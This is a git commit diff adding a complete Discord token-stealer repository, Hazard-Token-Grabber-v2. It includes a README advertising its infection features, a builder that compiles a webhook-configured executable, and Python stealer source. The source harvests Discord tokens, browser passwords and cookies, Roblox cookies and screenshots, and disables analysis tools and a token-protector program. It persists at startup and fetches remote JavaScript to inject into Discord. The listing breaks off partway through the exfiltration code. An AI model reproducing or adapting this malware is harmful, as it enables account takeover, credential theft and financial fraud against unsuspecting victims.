commit f07fa412f002ca08669aa90c9de85f19df4e088443129ffad088b9c2531626e7 Author: unknown Date: Sat Jun 6 01:22:00 2026 +0200 Initial commit diff --git a/Hazard-Token-Grabber-v2-Reupload/.gitignore b/Hazard-Token-Grabber-v2-Reupload/.gitignore new file mode 100644 index 0000000..63af7d3 --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/.gitignore @@ -0,0 +1,129 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ diff --git a/Hazard-Token-Grabber-v2-Reupload/LICENSE b/Hazard-Token-Grabber-v2-Reupload/LICENSE new file mode 100644 index 0000000..051166a --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Schwungvoller + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Hazard-Token-Grabber-v2-Reupload/README.md b/Hazard-Token-Grabber-v2-Reupload/README.md new file mode 100644 index 0000000..52ac15f --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/README.md @@ -0,0 +1,97 @@ +
+

PROJECT DISCONTINUED!!!
BETTER & UPDATED STEALER HERE
!

+
+ + +###
☣ Hazard-Token-Grabber-v2 ☣ + +
+ + +
+ + +
+ + + + + +### THIS PROJECT WAS CREATED FOR EDUCATIONAL PURPOSES!!! IT IS NONE OF MY BUSINESS WHAT YOU DO WITH IT, I CANNOT BE LIABLE AND BY USING THIS PROGRAM YOU AGREE TO THIS!! + +➼ ⚠ Credits to Rdimo ⚠ + +
+
+ +![hazard-grabber](https://user-images.githubusercontent.com/96620548/199788080-2eaf09e2-de07-423e-86b9-7980c7165c01.png) +--------------------------------------------------------------------------------------------------- +
+ +Hello! I'm pretty new on Github! Some days ago I found my old Hazard-Grabber directory and a repost with some changes from someone else. Enjoy this small repost with a hopefully easy tutorial. + + +As I said - I'm new 👋, but I will try my best ♡ +And yes, if you wanna call me that, you can call me a skid. That is the only thing I can do at the moment, but I'm trying to create my own projects. + + +I'm learning coding at the moment to create my own projects as I mentioned before, but I'm pretty young and broke, so please don't hate me for copying/posting this stuff :) + + +### You would make me really happy if you ⭐ this repository if you like it! +--------------------------------------------------------------------------------------------------- +
+ +### 💉 **Installation and use** + +
+ +It is really easy to set this up! Just get [python version 3.10](https://www.python.org/ftp/python/3.10.9/python-3.10.9-amd64.exe). + +Click the blue/green "CODE" button on this page. Choose the option "DOWNLOAD ZIP". Or you can directly download the ZIP from [this link](https://github.com/Gumbobrot/Hazard-Token-Grabber-v2/archive/refs/heads/main.zip). + +Extract to ZIP to your Desktop and enter the Hazard-Token-Grabber-v2 folder. In there, just run start.bat and follow the instructions that it gives to you. + +--------------------------------------------------------------------------------------------------- +
+ +### 📷 **Screenshots** + +
+ +![hazard-v2](https://user-images.githubusercontent.com/96620548/200128638-acb433e6-551e-4f7a-861c-09cfd570fa7b.png) + +
+ +
+ +### 🎈 **Hazard-Grabber is a popular Stealer with many features** + +
+ +- Manipulating code and more +> (If you don't like a feature, you can easily turn it off and change the code to whatever you want.) + +- Hide it-self +> (This feature, hides logs and more, so the infected person doesn't really know that he or she just got logged.) + +- Start-Up injection +> (If the infected User starts his PC, this feature will re-run the Trojan so you can get all his or her Passwords, Cookies and more again.) + +- Password-Logger +> (Logs all Google Chrome Passwords.This feature also supports some other browsers like Opera GX, Brave and others.) + +- Cookie-Logger +> (Logs all Google Chrome Cookies. This feature also supports some other browsers like Opera GX, Brave and others.) + +- Discord Injection +> (Auto-Update. If the infected User changes his password, email or phone it will be displayed through the webhook to you.) +------------------------------------------------------------------------------------------------------------ +### 📝 **If you have any other improvement ideas or questions, just ask me on Discord or join our server!** + +- [Contact me here!](https://discordlookup.com/user/1075072806892621874) + + +- [Our Discord here!](https://discord.gg/74ddhQJcM9) +------------------------------------------------------------------------------------------------------------ +⏳ *Thanks to everyone who took the time to read through this slightly longer tutorial! ↑↑* diff --git a/Hazard-Token-Grabber-v2-Reupload/start.bat b/Hazard-Token-Grabber-v2-Reupload/start.bat new file mode 100644 index 0000000..8ad3b4d --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/start.bat @@ -0,0 +1,5 @@ +cd tools +cd requirements +python -m pip install -r requirements.txt +cd .. +python builder.py diff --git a/Hazard-Token-Grabber-v2-Reupload/tools/builder.py b/Hazard-Token-Grabber-v2-Reupload/tools/builder.py new file mode 100644 index 0000000..d9cd859 --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/tools/builder.py @@ -0,0 +1,115 @@ +import time +import os +import sys +import shutil +from win10toast import ToastNotifier + +os.system('title Hazard-Grabber Builder') +os.system("color b") +os.system("cls") + +def main(): + webhook = input("[Enter your webhook URL]:> ") + global search_text + global replace_text + search_text = "WEBHOOK_URL" + replace_text = webhook + + try: + with open(r'src/hazard.py', 'r') as file: + + data = file.read() + + data = data.replace(search_text, replace_text) + + with open(r'src/hazard.py', 'w') as file: + + file.write(data) + + print("[!] Successfully wrote your webhook to the src. Make sure again you entered a correct one!") + time.sleep(0.5) + print(f"[*] This is the webhook you entered: {webhook}") + except Exception: + print("[?] Failed to write your webhook to the src. Make sure the code is correct and has not been changed.") + time.sleep(0.5) + print(f"[*] This is the webhook you entered: {webhook}") + global file_name + file_name = input("[Enter the name of the executable (File name)]:> ") + time.sleep(1.5) + + print("[*] Starting to build your stub in 3 seconds...") + time.sleep(3.0) + print("[!] File compilation started well.") + time.sleep(0.5) + print("[*] Press CTRL + C to cancel, may break the application for future builds.") + time.sleep(1.0) + + os.system(f"pyinstaller --noconsole --onefile -n {file_name} -i icons/exe.ico src/hazard.py") + os.system("cls") + + global directory + global toast + directory = os.getcwd() + toast = ToastNotifier() + + toast.show_toast( + "Hazard-Grabber-v2", + "Your stub has been built!", + duration = 25, + icon_path = directory+"/icons/hazard.ico", + threaded = True, + ) + + path = directory+"/build/"+file_name + path2 = directory+f"{file_name}.spec" + dist = "/dist" + + try: + shutil.rmtree(f"{directory}/build") + os.remove(f"{file_name}.spec") + print(f"[*] Successfully cleaned the folder and removed non-required/temporary files. ({path}, {path2})") + except: + print(f"[!] Couldn't delete temporary files. They have probably already been deleted.") + + time.sleep(1.0) + + try: + with open(r'src/hazard.py', 'r') as file: + + data = file.read() + + data = data.replace(replace_text, search_text) + + with open(r'src/hazard.py', 'w') as file: + + file.write(data) + + print("[*] Successfully removed your webhook from the src for future builds.") + time.sleep(0.5) + except: + print("[!] Failed to remove your webhook from the src. Make sure the code is correct and has not been changed.") + time.sleep(0.5) + + try: + path = directory + "/dist" + path = os.path.realpath(path) + os.startfile(path) + print(f"[*] Opened the directory where {file_name}.exe is located.") + except: + print(f"[!] Couldn't open the directory where {file_name}.exe is located. Maybe is has been deleted or wasn't built correctly. I would still recommend you to check the following directory for {file_name}.exe: '{directory} + {dist}'") + + time.sleep(1.0) + + print(f"[*] Done. You can check the following directory, but the folder should have already been opened: [ {os.path.dirname(os.path.realpath(__file__))} ] for '{file_name}.exe'") + time.sleep(0.5) + print("[*] I would appreciate a star on GitHub and some feedback really much! https://github.com/gumbobr0t") + time.sleep(0.5) + print("[*] You may also like to contribute in our community. https://discord.gg/59EbJfEFpk") + time.sleep(0.5) + print("[!] Closing in 10 seconds...") + time.sleep(10) + sys.exit() + + +if __name__ == "__main__": + main() diff --git a/Hazard-Token-Grabber-v2-Reupload/tools/icons/exe.ico b/Hazard-Token-Grabber-v2-Reupload/tools/icons/exe.ico new file mode 100644 index 0000000..1535236 Binary files /dev/null and b/Hazard-Token-Grabber-v2-Reupload/tools/icons/exe.ico differ diff --git a/Hazard-Token-Grabber-v2-Reupload/tools/icons/hazard.ico b/Hazard-Token-Grabber-v2-Reupload/tools/icons/hazard.ico new file mode 100644 index 0000000..dd2a84f Binary files /dev/null and b/Hazard-Token-Grabber-v2-Reupload/tools/icons/hazard.ico differ diff --git a/Hazard-Token-Grabber-v2-Reupload/tools/pictures/hazard.png b/Hazard-Token-Grabber-v2-Reupload/tools/pictures/hazard.png new file mode 100644 index 0000000..674d30f Binary files /dev/null and b/Hazard-Token-Grabber-v2-Reupload/tools/pictures/hazard.png differ diff --git a/Hazard-Token-Grabber-v2-Reupload/tools/requirements/requirements.txt b/Hazard-Token-Grabber-v2-Reupload/tools/requirements/requirements.txt new file mode 100644 index 0000000..72592ed --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/tools/requirements/requirements.txt @@ -0,0 +1,11 @@ +httpx +pyotp +psutil +pypiwin32 +pycryptodome +pyinstaller>=5.0 +PIL-tools +aes +colorama +win10toast +requests diff --git a/Hazard-Token-Grabber-v2-Reupload/tools/src/hazard.py b/Hazard-Token-Grabber-v2-Reupload/tools/src/hazard.py new file mode 100644 index 0000000..e590893 --- /dev/null +++ b/Hazard-Token-Grabber-v2-Reupload/tools/src/hazard.py @@ -0,0 +1,727 @@ +# Tries to import modules, if any are missing it will prompt to install them below. +try: + import os + import json + import httpx + import winreg + import ctypes + import shutil + import psutil + import asyncio + import time + import sys + import sqlite3 + import zipfile + import threading + import subprocess + import requests + import re + + from sys import argv + from PIL import ImageGrab + from base64 import b64decode + from tempfile import mkdtemp + from re import findall, match + from Crypto.Cipher import AES + from colorama import Fore, Style + from win32crypt import CryptUnprotectData +except: + import time + import os + input("Found missing modules. Press enter to install them.") + print("Installing missing modules in 3 seconds. CTRL + C to cancel.") + time.sleep(3.0) + os.system("pip install requests && pip install httpx && pip install pyotp && pip install psutil && pip install pypiwin32 && pip install aes && pip install pycryptodome && pip install pyinstaller>=5.0 && pip install PIL-tools && pip install colorama && pip install win10toast") + os.system("cls") + print("Installed the missing modules successfully. Please restart the client. Closing this terminal in 10 seconds.") + time.sleep(10) + sys.exit + +config = { + # Replace WEBHOOK_URL with your own webhook. The collected data will be sent to this webhook. + 'webhook': "WEBHOOK_URL", + + # Set to False if you don't want it to kill programs such as discord upon running the exe. + 'kill_processes': True, + + # This makes the program run the file after every startup. + 'startup': True, + + # This feature will make the file hide itself after opened. + 'hide_self': True, + + # The program does it's best to prevent the program from being debugged and drastically reduces the changes of your webhook being found. + 'anti_debug': True, + + # If successfully injected to Discord, the program will try to automatically buy Discord Nitro with Credit Cards/PayPal/Other Payments and send it to your webhook. + 'auto_buy_nitro': True, + + # This list of programs will be killed if Hazard-Grabber detects that any of these are running, you can add more or remove programs if you want. + 'blackListedPrograms': + [ + "httpdebuggerui", + "wireshark", + "fiddler", + "regedit", + "cmd", + "taskmgr", + "vboxservice", + "df5serv", + "processhacker", + "vboxtray", + "vmtoolsd", + "vmwaretray", + "ida64", + "ollydbg", + "pestudio", + "vmwareuser", + "vgauthservice", + "vmacthlp", + "x96dbg", + "vmsrvc", + "x32dbg", + "vmusrvc", + "prl_cc", + "prl_tools", + "xenservice", + "qemu-ga", + "joeboxcontrol", + "ksdumperclient", + "ksdumper", + "joeboxserver" + ] +} +Victim = os.getlogin() +Victim_pc = os.getenv("COMPUTERNAME") + + +class functions(object): + @staticmethod + def getHeaders(token: str = None): + headers = { + "Content-Type": "application/json", + } + if token: + headers.update({"Authorization": token}) + return headers + + @staticmethod + def get_master_key(path) -> str: + with open(path, "r", encoding="utf-8") as f: + c = f.read() + local_state = json.loads(c) + + master_key = b64decode(local_state["os_crypt"]["encrypted_key"]) + master_key = master_key[5:] + master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] + return master_key + + @staticmethod + def decrypt_val(buff, master_key) -> str: + try: + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() + return decrypted_pass + except Exception: + return "Failed to decrypt password" + + @staticmethod + def fetchConf(e: str) -> str or bool | None: + return config.get(e) + + +class Injection(functions): + def __init__(self, webhook: str) -> None: + + self.appdata = os.getenv('LOCALAPPDATA') + self.discord_dirs = [ + self.appdata + '\\Discord', + self.appdata + '\\DiscordCanary', + self.appdata + '\\DiscordPTB', + self.appdata + '\\DiscordDevelopment' + ] + if self.fetchConf('auto_buy_nitro'): + self.code = requests.get('https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/injection/auto_buy__TRUE__injection.js').text + else: + self.code = requests.get('https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/injection/auto_buy__FALSE__injection.js').text + + for proc in psutil.process_iter(): + if 'discord' in proc.name().lower(): + proc.kill() + + for dir in self.discord_dirs: + if not os.path.exists(dir): + continue + + if self.get_core(dir) is not None: + with open(self.get_core(dir)[0] + '\\index.js', 'w', encoding='utf-8') as f: + f.write((self.code).replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook)) + self.start_discord(dir) + + @staticmethod + def get_core(dir: str) -> tuple: + for file in os.listdir(dir): + if re.search(r'app-+?', file): + modules = dir + '\\' + file + '\\modules' + if not os.path.exists(modules): + continue + for file in os.listdir(modules): + if re.search(r'discord_desktop_core-+?', file): + core = modules + '\\' + file + '\\' + 'discord_desktop_core' + if not os.path.exists(core + '\\index.js'): + continue + return core, file + + @staticmethod + def start_discord(dir: str) -> None: + update = dir + '\\Update.exe' + executable = dir.split('\\')[-1] + '.exe' + + for file in os.listdir(dir): + if re.search(r'app-+?', file): + app = dir + '\\' + file + if os.path.exists(app + '\\' + 'modules'): + for file in os.listdir(app): + if file == executable: + executable = app + '\\' + executable + subprocess.call([update, '--processStart', executable], + shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + +Injection(functions) + + +class Hazard_Token_Grabber_V2(functions): + def __init__(self): + self.webhook = self.fetchConf('webhook') + self.baseurl = "https://discord.com/api/v9/users/@me" + self.appdata = os.getenv("localappdata") + self.roaming = os.getenv("appdata") + self.dir = mkdtemp() + self.startup_loc = self.roaming + \ + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + self.regex = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}" + self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*" + + self.sep = os.sep + self.tokens = [] + self.robloxcookies = [] + + os.makedirs(self.dir, exist_ok=True) + + def try_extract(func): + def wrapper(*args, **kwargs): + try: + func(*args, **kwargs) + except Exception: + pass + return wrapper + + async def checkToken(self, tkn: str) -> str: + try: + r = httpx.get( + url=self.baseurl, + headers=self.getHeaders(tkn), + timeout=5.0 + ) + except (httpx._exceptions.ConnectTimeout, httpx._exceptions.TimeoutException): + pass + if r.status_code == 200 and tkn not in self.tokens: + self.tokens.append(tkn) + + async def init(self): + if self.fetchConf('anti_debug'): + if AntiDebug().inVM: + os._exit(0) + await self.bypassBetterDiscord() + await self.bypassTokenProtector() + function_list = [self.screenshot, self.grabTokens, + self.grabRobloxCookie] + if self.fetchConf('hide_self'): + function_list.append(self.hide) + + if self.fetchConf('kill_processes'): + await self.killProcesses() + + if self.fetchConf('startup'): + function_list.append(self.startup) + + if os.path.exists(self.appdata+'\\Google\\Chrome\\User Data\\Default') and os.path.exists(self.appdata+'\\Google\\Chrome\\User Data\\Local State'): + function_list.append(self.grabPassword) + function_list.append(self.grabCookies) + + for func in function_list: + process = threading.Thread(target=func, daemon=True) + process.start() + for t in threading.enumerate(): + try: + t.join() + except RuntimeError: + continue + self.neatifyTokens() + self.finish() + shutil.rmtree(self.dir) + + def hide(self): + ctypes.windll.kernel32.SetFileAttributesW(argv[0], 2) + + def startup(self): + try: + shutil.copy2(argv[0], self.startup_loc) + except Exception: + pass + + async def killProcesses(self): + blackListedPrograms = self.fetchConf('blackListedPrograms') + for i in ['discord', 'discordtokenprotector', 'discordcanary', 'discorddevelopment', 'discordptb']: + blackListedPrograms.append(i) + for proc in psutil.process_iter(): + if any(procstr in proc.name().lower() for procstr in blackListedPrograms): + try: + proc.kill() + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + + async def bypassTokenProtector(self): + # Easily destroys and fucks up the token-protector by https://github.com/andro2157/DiscordTokenProtector + tp = f"{self.roaming}\\DiscordTokenProtector\\" + if not os.path.exists(tp): + return + config = tp+"config.json" + + for i in ["DiscordTokenProtector.exe", "ProtectionPayload.dll", "secure.dat"]: + try: + os.remove(tp+i) + except FileNotFoundError: + pass + if os.path.exists(config): + with open(config, errors="ignore") as f: + try: + item = json.load(f) + except json.decoder.JSONDecodeError: + return + item['S1LKT0UCH just raped your token-protector shit LMAOOOO https://discord.gg/HfwtKBEFAJ'] = "https://github.com/S1LKT0UCH" + item['auto_start'] = False + item['auto_start_discord'] = False + item['integrity'] = False + item['integrity_allowbetterdiscord'] = False + item['integrity_checkexecutable'] = False + item['integrity_checkhash'] = False + item['integrity_checkmodule'] = False + item['integrity_checkscripts'] = False + item['integrity_checkresource'] = False + item['integrity_redownloadhashes'] = False + item['iterations_iv'] = 364 + item['iterations_key'] = 457 + item['version'] = 69420 + with open(config, 'w') as f: + json.dump(item, f, indent=2, sort_keys=True) + with open(config, 'a') as f: + f.write( + "\n\n//S1LKT0UCH just raped your token-protector shit LMAOOOO https://discord.gg/HfwtKBEFAJ | https://github.com/S1LKT0UCH") + + async def bypassBetterDiscord(self): + bd = self.roaming+"\\BetterDiscord\\data\\betterdiscord.asar" + if os.path.exists(bd): + x = "api/webhooks" + with open(bd, 'r', encoding="cp437", errors='ignore') as f: + txt = f.read() + content = txt.replace(x, 'Rdmo1TheGoat') + with open(bd, 'w', newline='', encoding="cp437", errors='ignore') as f: + f.write(content) + + def getProductValues(self): + try: + wkey = subprocess.check_output( + r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault", creationflags=0x08000000).decode().rstrip() + except Exception: + wkey = "N/A (Likely Pirated)" + try: + productName = subprocess.check_output( + r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName", creationflags=0x08000000).decode().rstrip() + except Exception: + productName = "N/A" + return [productName, wkey] + + @try_extract + def grabTokens(self): + paths = { + 'Discord': self.roaming + r'\\discord\\Local Storage\\leveldb\\', + 'Discord Canary': self.roaming + r'\\discordcanary\\Local Storage\\leveldb\\', + 'Lightcord': self.roaming + r'\\Lightcord\\Local Storage\\leveldb\\', + 'Discord PTB': self.roaming + r'\\discordptb\\Local Storage\\leveldb\\', + 'Opera': self.roaming + r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\', + 'Opera GX': self.roaming + r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\', + 'Amigo': self.appdata + r'\\Amigo\\User Data\\Local Storage\\leveldb\\', + 'Torch': self.appdata + r'\\Torch\\User Data\\Local Storage\\leveldb\\', + 'Kometa': self.appdata + r'\\Kometa\\User Data\\Local Storage\\leveldb\\', + 'Orbitum': self.appdata + r'\\Orbitum\\User Data\\Local Storage\\leveldb\\', + 'CentBrowser': self.appdata + r'\\CentBrowser\\User Data\\Local Storage\\leveldb\\', + '7Star': self.appdata + r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\', + 'Sputnik': self.appdata + r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\', + 'Vivaldi': self.appdata + r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\', + 'Chrome SxS': self.appdata + r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\', + 'Chrome': self.appdata + r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\', + 'Epic Privacy Browser': self.appdata + r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\', + 'Microsoft Edge': self.appdata + r'\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\', + 'Uran': self.appdata + r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\', + 'Yandex': self.appdata + r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\', + 'Brave': self.appdata + r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\', + 'Iridium': self.appdata + r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\' + } + + for name, path in paths.items(): + if not os.path.exists(path): + continue + disc = name.replace(" ", "").lower() + if "cord" in path: + if os.path.exists(self.roaming+f'\\{disc}\\Local State'): + for file_name in os.listdir(path): + if file_name[-3:] not in ["log", "ldb"]: + continue + for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: + for y in findall(self.encrypted_regex, line): + token = self.decrypt_val(b64decode( + y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming+f'\\{disc}\\Local State')) + asyncio.run(self.checkToken(token)) + else: + for file_name in os.listdir(path): + if file_name[-3:] not in ["log", "ldb"]: + continue + for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: + for token in findall(self.regex, line): + asyncio.run(self.checkToken(token)) + + if os.path.exists(self.roaming+"\\Mozilla\\Firefox\\Profiles"): + for path, _, files in os.walk(self.roaming+"\\Mozilla\\Firefox\\Profiles"): + for _file in files: + if not _file.endswith('.sqlite'): + continue + for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]: + for token in findall(self.regex, line): + asyncio.run(self.checkToken(token)) + + @try_extract + def grabPassword(self): + master_key = self.get_master_key( + self.appdata+'\\Google\\Chrome\\User Data\\Local State') + login_db = self.appdata+'\\Google\\Chrome\\User Data\\default\\Login Data' + login = self.dir+self.sep+"Loginvault1.db" + + shutil.copy2(login_db, login) + conn = sqlite3.connect(login) + cursor = conn.cursor() + with open(self.dir+"\\Google Passwords.txt", "w", encoding="cp437", errors='ignore') as f: + cursor.execute( + "SELECT action_url, username_value, password_value FROM logins") + for r in cursor.fetchall(): + url = r[0] + username = r[1] + encrypted_password = r[2] + decrypted_password = self.decrypt_val( + encrypted_password, master_key) + if url != "": + f.write( + f"Domain: {url}\nUser: {username}\nPass: {decrypted_password}\n\n") + cursor.close() + conn.close() + os.remove(login) + + @try_extract + def grabCookies(self): + master_key = self.get_master_key( + self.appdata+'\\Google\\Chrome\\User Data\\Local State') + login_db = self.appdata+'\\Google\\Chrome\\User Data\\default\\Network\\cookies' + login = self.dir+self.sep+"Loginvault2.db" + + shutil.copy2(login_db, login) + conn = sqlite3.connect(login) + cursor = conn.cursor() + with open(self.dir+"\\Google Cookies.txt", "w", encoding="cp437", errors='ignore') as f: + cursor.execute( + "SELECT host_key, name, encrypted_value from cookies") + for r in cursor.fetchall(): + host = r[0] + user = r[1] + decrypted_cookie = self.decrypt_val(r[2], master_key) + if host != "": + f.write( + f"Host: {host}\nUser: {user}\nCookie: {decrypted_cookie}\n\n") + if '_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_' in decrypted_cookie: + self.robloxcookies.append(decrypted_cookie) + cursor.close() + conn.close() + os.remove(login) + + def neatifyTokens(self): + f = open(self.dir+"\\Discord Info.txt", + "w", encoding="cp437", errors='ignore') + for token in self.tokens: + j = httpx.get( + self.baseurl, headers=self.getHeaders(token)).json() + user = j.get('username') + '#' + str(j.get("discriminator")) + + badges = "" + flags = j['flags'] + flags = j['flags'] + if (flags == 1): + badges += "Staff, " + if (flags == 2): + badges += "Partner, " + if (flags == 4): + badges += "Hypesquad Event, " + if (flags == 8): + badges += "Green Bughunter, " + if (flags == 64): + badges += "Hypesquad Bravery, " + if (flags == 128): + badges += "HypeSquad Brillance, " + if (flags == 256): + badges += "HypeSquad Balance, " + if (flags == 512): + badges += "Early Supporter, " + if (flags == 16384): + badges += "Gold BugHunter, " + if (flags == 131072): + badges += "Verified Bot Developer, " + if (badges == ""): + badges = "None" + email = j.get("email") + phone = j.get("phone") if j.get( + "phone") else "No Phone Number attached" + nitro_data = httpx.get( + self.baseurl+'/billing/subscriptions', headers=self.getHeaders(token)).json() + has_nitro = False + has_nitro = bool(len(nitro_data) > 0) + billing = bool(len(json.loads(httpx.get( + self.baseurl+"/billing/payment-sources", headers=self.getHeaders(token)).text)) > 0) + f.write(f"{' '*17}{user}\n{'-'*50}\nToken: {token}\nHas Billing: {billing}\nNitro: {has_nitro}\nBadges: {badges}\nEmail: {email}\nPhone: {phone}\n\n") + f.close() + + def grabRobloxCookie(self): + def subproc(path): + try: + return subprocess.check_output( + fr"powershell Get-ItemPropertyValue -Path {path}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY", + creationflags=0x08000000).decode().rstrip() + except Exception: + return None + reg_cookie = subproc(r'HKLM') + if not reg_cookie: + reg_cookie = subproc(r'HKCU') + if reg_cookie: + self.robloxcookies.append(reg_cookie) + if self.robloxcookies: + with open(self.dir+"\\Roblox Cookies.txt", "w") as f: + for i in self.robloxcookies: + f.write(i+'\n') + + def screenshot(self): + image = ImageGrab.grab( + bbox=None, + include_layered_windows=False, + all_screens=True, + xdisplay=None + ) + image.save(self.dir + "\\Screenshot.png") + image.close() + + def finish(self): + for i in os.listdir(self.dir): + if i.endswith('.txt'): + path = self.dir+self.sep+i + with open(path, "r", errors="ignore") as ff: + x = ff.read() + if not x: + ff.close() + os.remove(path) + else: + with open(path, "w", encoding="utf-8", errors="ignore") as f: + f.write( + "🌟・Grabber By Rdimo・https://github.com/S1LKT0UCH/Hazard-Token-Grabber-v2\n\n") + with open(path, "a", encoding="utf-8", errors="ignore") as fp: + fp.write( + x+"\n\n🌟・Grabber By Rdimo・https://github.com/S1LKT0UCH/Hazard-Token-Grabber-v2") + w = self.getProductValues() + wname = w[0].replace(" ", "᠎ ") + wkey = w[1].replace(" ", "᠎ ") + ram = str(psutil.virtual_memory()[0]/1024 ** 3).split(".")[0] + disk = str(psutil.disk_usage('/')[0]/1024 ** 3).split(".")[0] + # IP, country, city, region, google maps location + data = httpx.get("https://ipinfo.io/json").json() + ip = data.get('ip') + city = data.get('city') + country = data.get('country') + region = data.get('region') + org = data.get('org') + googlemap = "https://www.google.com/maps/search/google+map++" + \ + data.get('loc') + + _zipfile = os.path.join( + self.appdata, f'Hazard-v2-[{Victim}].zip') + zipped_file = zipfile.ZipFile(_zipfile, "w", zipfile.ZIP_DEFLATED) + abs_src = os.path.abspath(self.dir) + for dirname, _, files in os.walk(self.dir): + for filename in files: + absname = os.path.abspath(os.path.join(dirname, filename)) + arcname = absname[len(abs_src) + 1:] + zipped_file.write(absname, arcname) + zipped_file.close() + files_found = '' + for f in os.listdir(self.dir): + files_found += f"・{f}\n" + tokens = '' + for tkn in self.tokens: + tokens += f'{tkn}\n\n' + fileCount = f"{len(files)} Files Found: " + embed = { + 'username' + 'avatar_url': 'https://cdn.discordapp.com/attachments/1018946825585168446/1031609195256090624/e1jWmMP.webp', + 'embeds': [ + { + 'author': { + 'name': f'{Victim} Just ran Hazard Token Grabber-v2', + 'url': 'https://github.com/S1LKT0UCH/Hazard-Token-Grabber-v2', + 'icon_url': 'https://cdn.discordapp.com/attachments/1018946825585168446/1031610712377802783/200w.gif' + }, + 'color': 16119101, + 'description': f'[Google Maps Location]({googlemap})', + 'fields': [ + { + 'name': '\u200b', + 'value': 